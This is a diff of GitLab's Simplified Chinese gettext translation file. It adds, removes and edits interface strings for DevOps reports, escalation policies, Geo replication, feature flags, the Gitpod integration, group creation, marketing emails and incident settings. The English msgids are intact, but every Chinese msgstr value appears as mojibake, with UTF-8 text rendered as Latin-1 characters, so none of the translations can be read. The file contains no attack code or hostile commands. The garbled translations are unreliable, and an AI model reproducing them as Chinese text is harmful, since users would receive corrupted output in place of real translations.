msgid "DevopsAdoption|Pipelines"
msgstr "æµæ°´çº¿"
@@ -11192,6 +11271,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr "扫æ"
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11204,21 +11286,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
-msgstr "采用率"
-
-msgid "DevopsReport|DevOps"
-msgstr "DevOps"
-
msgid "DevopsReport|DevOps Score"
msgstr "DevOps分数"
msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
+msgid "DevopsReport|High"
+msgstr ""
+
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr "分数"
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11285,15 +11379,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr "ç¦æ­¢å…¬å¼€è®¿é—®Pages网站"
-msgid "Disable shared runners"
-msgstr "ç¦ç”¨å…±äº«Runner"
-
msgid "Disable two-factor authentication"
msgstr "ç¦ç”¨åŒé‡è®¤è¯"
msgid "Disabled"
msgstr "å·²ç¦ç”¨"
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr "å·²ç¦ç”¨é•œåƒåªèƒ½ç”±å®žä¾‹æ‰€æœ‰è€…å¯ç”¨ã€‚建议删除此项。"
@@ -11321,6 +11415,9 @@ msgstr "Discord 通知"
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr "探索GitLab Geo"
@@ -11547,8 +11644,8 @@ msgstr "è‰ç¨¿"
msgid "Draft merge requests can't be merged."
msgstr "è‰ç¨¿åˆå¹¶è¯·æ±‚ä¸èƒ½åˆå¹¶ã€‚"
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
-msgstr "拖放或%{linkStart}上传%{linkEnd}设计以附加"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
+msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
msgstr ""
@@ -11562,6 +11659,24 @@ msgstr "拖放您的设计以å¯åŠ¨ä¸Šä¼ ã€‚"
msgid "Drop your files to start your upload."
msgstr "拖放您的文件以å¯åŠ¨ä¸Šä¼ ã€‚"
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr "截止日期"
@@ -11571,9 +11686,6 @@ msgstr "截止日期"
msgid "Duration"
msgstr "时长"
-msgid "Duration for the last 30 commits"
-msgstr "最åŽ30次æ交"
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr "在此过程中,我们会è¦æ±‚您æä¾›æ¥è‡ª GitLab çš„ URL 。请使用下é¢çš„网å€ã€‚"
@@ -11688,9 +11800,6 @@ msgstr "编辑公共部署密钥"
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr "编辑阶段"
-
msgid "Edit this file only."
msgstr "仅编辑此文件。"
@@ -11745,6 +11854,9 @@ msgstr "Elasticsearché‡å»ºç´¢å¼•æ­£åœ¨è¿›è¡Œä¸­"
msgid "Elasticsearch reindexing triggered"
msgstr "Elasticsearché‡å»ºç´¢å¼•å·²è§¦å‘"
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr "Elasticsearch返回状æ€ä»£ç : %{status_code}"
@@ -11874,15 +11986,15 @@ msgstr ""
msgid "Embed"
msgstr "嵌入"
+msgid "Embed an image of your existing Jaeger server in GitLab."
+msgstr ""
+
msgid "Empty file"
msgstr "空文件"
msgid "Enable"
msgstr "å¯ç”¨"
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
-msgstr "å¯ç”¨%{linkStart}Gitpod%{linkEnd}集æˆï¼Œå¯ç›´æŽ¥åœ¨æµè§ˆå™¨ä»ŽGitLabå¯åŠ¨å¼€å‘环境。"
-
msgid "Enable Auto DevOps"
msgstr "å¯ç”¨Auto DevOps"
@@ -11958,6 +12070,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12003,9 +12118,6 @@ msgstr "å¯ç”¨é•œåƒé…ç½®"
msgid "Enable or disable Seat Link."
msgstr "å¯ç”¨æˆ–ç¦ç”¨å¸­ä½é“¾æŽ¥ã€‚"
-msgid "Enable or disable keyboard shortcuts"
-msgstr "å¯ç”¨æˆ–ç¦ç”¨é”®ç›˜å¿«æ·æ–¹å¼"
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "å¯ç”¨æˆ–ç¦ç”¨åŒ¿å化数æ®æ”¶é›†."
@@ -12027,9 +12139,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr "å¯ç”¨å…±äº«Runner"
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr "为该组中的所有项目和å­ç»„å¯ç”¨å…±äº«Runner。"
@@ -12699,9 +12808,6 @@ msgstr "ä¿å­˜è¢«æŒ‡æ´¾äººæ—¶å‡ºçŽ°é”™è¯¯ã€‚"
msgid "Error occurred when saving reviewers"
msgstr "ä¿å­˜å®¡æ ¸è€…时出错"
-msgid "Error occurred when toggling the notification subscription"
-msgstr "切æ¢é€šçŸ¥è®¢é˜…æ—¶å‘生错误"
-
msgid "Error occurred while updating the issue status"
msgstr "更新议题状æ€æ—¶å‡ºé”™"
@@ -12714,12 +12820,18 @@ msgstr "å‘生错误。无法冻结被ç¦ç”¨çš„用户"
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr "错误å‘生。已ç¦ç”¨ç”¨æˆ·å¿…须解除ç¦ç”¨åŽæ‰èƒ½è¢«æ¿€æ´»"
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr "å‘生了错误。用户未被ç¦ç”¨"
msgid "Error occurred. User was not confirmed"
msgstr "å‘生了错误。用户尚未得到确认"
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr "å‘生了错误。用户未解除ç¦ç”¨"
@@ -12828,6 +12940,54 @@ msgstr "在第%{line_number}行中å‘现错误: %{error_lines}。请检查这些
msgid "Errors:"
msgstr "错误:"
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr "预计"
@@ -12889,7 +13049,8 @@ msgid "Every two weeks"
msgstr "æ¯ä¸¤å‘¨"
msgid "Every week"
-msgstr "æ¯å‘¨"
+msgid_plural "Every %d weeks"
+msgstr[0] ""
msgid "Every week (%{weekday} at %{time})"
msgstr "æ¯å‘¨(%{weekday}çš„%{time})"
@@ -13531,6 +13692,9 @@ msgstr "功能标志"
msgid "FeatureFlags|Feature Flag User List Details"
msgstr "功能标志用户列表详细信æ¯"
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr "功能标记是通过创建一组规则æ¥å®šä¹‰ç›®æ ‡çŽ¯å¢ƒçš„状æ€æ¥æž„建的行为。默认的规则%{codeStart} *%{codeEnd}用于%{boldStart}所有环境%{boldEnd},您å¯ä»¥é€šè¿‡ä¸‹é¢çš„环境规范添加任æ„æ•°é‡çš„规则。您å¯ä»¥åˆ‡æ¢æ¯ä¸ªè§„则的行为以设置它们%{boldStart}å¯ç”¨%{boldEnd}或%{boldStart}ç¦ç”¨%{boldEnd}。"
@@ -13555,9 +13719,6 @@ msgstr "标记为åªè¯»"
msgid "FeatureFlags|Get started with feature flags"
msgstr "功能标志入门"
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr "GitLab正在转å‘到新的功能标志管ç†æ–¹å¼ï¼Œæ­¤åŠŸèƒ½æ ‡å¿—当å‰ä¸ºåªè¯»å¹¶å°†äºŽ14.0中删除。请创建一个新的功能标识。"
@@ -13585,9 +13746,6 @@ msgstr "列表详细信æ¯"
msgid "FeatureFlags|Loading feature flags"
msgstr "加载功能标志"
-msgid "FeatureFlags|Loading user lists"
-msgstr "正在加载用户列表"
-
msgid "FeatureFlags|More information"
msgstr "更多信æ¯"
@@ -13606,9 +13764,6 @@ msgstr "新建用户列表"
msgid "FeatureFlags|New feature flag"
msgstr "新建功能标志"
-msgid "FeatureFlags|New user list"
-msgstr "新建用户列表"
-
msgid "FeatureFlags|No user list selected"
msgstr "未选择用户列表"
@@ -13651,9 +13806,6 @@ msgstr "目标环境"
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr "获å–功能标志时出错。"
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr "获å–用户列表时出错."
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr "为了防止误æ“作,我们需è¦æ‚¨å†æ¬¡ç¡®è®¤ã€‚请输入%{projectName}继续或关闭此对è¯æ¡†ä»¥å–消。"
@@ -13669,7 +13821,7 @@ msgstr "用户列表"
msgid "FeatureFlags|User Lists"
msgstr "用户列表"
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -13919,6 +14071,15 @@ msgstr "固定:"
msgid "Flags"
msgstr "标记"
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14024,6 +14185,9 @@ msgstr "派生项目?"
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14042,6 +14206,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14069,6 +14236,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr "派生自"
@@ -14336,6 +14512,9 @@ msgstr "次è¦èŠ‚点"
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr "%{itemTitle}校验和进度"
@@ -14363,6 +14542,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14390,6 +14572,9 @@ msgstr "å…许的Geo IP应该介于1到255个字符之间"
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr "å…许的Geo IP应该包å«æœ‰æ•ˆçš„IP地å€"
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr "连接超时ä¸èƒ½ä¸ºç©º"
@@ -14414,6 +14599,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14441,6 +14629,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr "转到主站点"
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr "如需进行å˜æ›´ï¼Œå¿…须访问主站点。"
@@ -14486,6 +14677,9 @@ msgstr "从ä¸"
msgid "Geo|Next sync scheduled at"
msgstr "下一次åŒæ­¥å®‰æŽ’在"
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr "节点å称ä¸èƒ½ä¸ºç©º"
@@ -14498,10 +14692,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr "尚未åŒæ­¥"
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14666,6 +14866,12 @@ msgstr "URL必须是有效的url(例如:https://gitlab.com)"
msgid "Geo|Undefined"
msgstr "未定义"
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr "未知状æ€"
@@ -14678,10 +14884,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr "验è¯å¤±è´¥ - %{error}"
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -14927,9 +15136,6 @@ msgstr "强制HTTPS (需è¦æœ‰æ•ˆçš„è¯ä¹¦)"
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr "GitLab Pages在此项目中ç¦ç”¨ã€‚您å¯ä»¥åœ¨æ‚¨çš„项目的%{strong_start}设置 &gt; 常规 &gt; å¯è§æ€§%{strong_end}页é¢å¯ç”¨ã€‚"
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr "首次部署åŽï¼Œç«™ç‚¹å¯èƒ½éœ€è¦è‡³å¤š30分钟æ‰å¯ç”¨ã€‚"
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr "页é¢æœ€å¤§å¤§å° (MB)"
@@ -15026,17 +15232,20 @@ msgstr ""
msgid "Gitpod"
msgstr "Gitpod"
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr "添加用æ¥è¯»å–GitLab项目的Gitpod网å€"
-
msgid "Gitpod|Enable Gitpod integration"
msgstr "å¯ç”¨Gitpod集æˆ"
msgid "Gitpod|Gitpod URL"
msgstr "Gitpod网å€"
-msgid "Gitpod|e.g. https://gitpod.example.com"
-msgstr "例如:https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
+msgstr ""
msgid "Given access %{time_ago}"
msgstr "%{time_ago}授æƒè®¿é—®"
@@ -15068,9 +15277,6 @@ msgstr ""
msgid "Go full screen"
msgstr "å…¨å±æ¨¡å¼"
-msgid "Go to Webhooks"
-msgstr "转到Webhooks"
-
msgid "Go to commits"
msgstr "转到æ交"
@@ -15125,6 +15331,9 @@ msgstr "转到上一级"
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr "跳转到项目"
@@ -15203,7 +15412,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr "å¯ç”¨"
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15317,6 +15526,9 @@ msgstr "无法安排群组导入"
msgid "Group info:"
msgstr "群组信æ¯"
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr "cluster_type为:group时群组为必需"
@@ -15377,6 +15589,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr "群组å˜é‡ (继承)"
@@ -15398,14 +15613,17 @@ msgstr "群组: %{name}"
msgid "GroupActivityMetrics|Issues opened"
msgstr "å¼€å¯çš„议题数"
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr "添加新æˆå‘˜æ•°"
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr "å¼€å¯çš„åˆå¹¶è¯·æ±‚æ•°"
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
-msgstr "最近活动(过去90天)"
+msgid "GroupActivityMetrics|Recent activity"
+msgstr ""
msgid "GroupImport|Failed to import group."
msgstr "导入群组失败。"
@@ -15467,6 +15685,9 @@ msgstr "è¦æŸ¥çœ‹è·¯çº¿å›¾ï¼Œè¯·åœ¨æ­¤ç¾¤ç»„或其å­ç¾¤ç»„中的一个 å²è¯— ä
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr "è¦æ‰©å¤§æ‚¨çš„æœç´¢ï¼Œè¯·æ›´æ”¹æˆ–移除筛选器,从 %{startDate} 到 %{endDate}。"
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr "å¯ç”¨çš„SAML群组链接(%{count})"
@@ -15785,9 +16006,6 @@ msgstr "群组和项目"
msgid "Groups and subgroups"
msgstr "群组和å­ç¾¤ç»„"
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr "也å¯ä»¥é€šè¿‡åˆ›å»º %{subgroup_docs_link_start}å­ç¾¤ç»„æ¥åµŒå¥—群组%{subgroup_docs_link_end}。"
-
msgid "Groups to synchronize"
msgstr "需åŒæ­¥çš„群组"
@@ -15824,23 +16042,32 @@ msgstr "找ä¸åˆ°ç¾¤ç»„"
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr "您å¯ä»¥ç®¡ç†ç¾¤ç»„æˆå‘˜çš„æƒé™å¹¶è®¿é—®ç¾¤ç»„中的æ¯ä¸ªé¡¹ç›®ã€‚"
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr "è”系管ç†å‘˜å¯ç”¨å¯¼å…¥ç¾¤ç»„的选项。"
-msgid "GroupsNew|Create"
-msgstr "创建"
-
msgid "GroupsNew|Create group"
msgstr "创建群组"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
+msgstr ""
+
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
-msgstr "导入"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
+msgstr ""
msgid "GroupsNew|Import group"
msgstr "导入群组"
@@ -15911,7 +16138,7 @@ msgstr "å‚考"
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -15926,6 +16153,9 @@ msgstr "哈希仓库存储路径"
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr "新项目ä¸èƒ½å†ç¦ç”¨å“ˆå¸Œå­˜å‚¨"
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -15938,6 +16168,18 @@ msgstr ""
msgid "Header message"
msgstr "页头消æ¯"
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr "标题"
@@ -16053,9 +16295,6 @@ msgstr "éšè—有效数æ®"
msgid "Hide shared projects"
msgstr "éšè—共享项目"
-msgid "Hide stage"
-msgstr "éšè—阶段"
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "éšè—值"
@@ -16084,9 +16323,6 @@ msgstr "原始警报:"
msgid "HighlightBar|Time to SLA:"
msgstr "è·SLA时间: "
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr "历å²"
@@ -16171,9 +16407,24 @@ msgstr "我忘记了密ç "
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr "我已ç»é˜…读并åŒæ„Let's Encryptçš„%{link_start}æœåŠ¡æ¡æ¬¾%{link_end}(PDF)"
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr "我希望通过电å­é‚®ä»¶æŽ¥æ”¶GitLabçš„æ›´æ–°"
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr "ID"
@@ -16183,9 +16434,6 @@ msgstr "ID:"
msgid "IDE"
msgstr "IDE"
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr "å…许Web IDE中的JavaScript项目使用CodeSandbox实时预览。"
-
msgid "IDE|Back"
msgstr "返回"
@@ -16339,6 +16587,9 @@ msgstr "如果您想è¦é‡æ–°å¯ç”¨åŒé‡èº«ä»½éªŒè¯ï¼Œè¯·è®¿é—®%{two_factor_li
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr "如果您想è¦é‡æ–°å¯ç”¨åŒé‡èº«ä»½éªŒè¯ï¼Œè¯·è®¿é—®%{settings_link_to}页é¢ã€‚"
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr "如果您的HTTP仓库无法公开访问,需在地å€ä¸­æ·»åŠ å‡­æ®ã€‚"
@@ -16582,6 +16833,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16615,6 +16869,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16627,9 +16884,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16642,6 +16908,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16768,6 +17037,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16807,6 +17079,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16822,10 +17097,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16861,9 +17136,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -16939,6 +17223,9 @@ msgstr "剩余%{hours}å°æ—¶%{minutes} 分钟"
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr "剩余%{minutes}分钟"
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr "全部"
@@ -16978,6 +17265,9 @@ msgstr "低-S4"
msgid "IncidentManagement|Medium - S3"
msgstr "中-S3"
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr "没有è¦æ˜¾ç¤ºçš„事件。"
@@ -17017,6 +17307,9 @@ msgstr "å¯ç”¨â€è·SLA时间â€å€’计时器"
msgid "IncidentSettings|Alert integration"
msgstr "警报集æˆ"
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr "Grafana集æˆ"
@@ -17032,9 +17325,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr "PagerDuty集æˆ"
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr "设置外部工具集æˆä»¥æ›´å¥½åœ°ç®¡ç†äº‹ä»¶ã€‚"
-
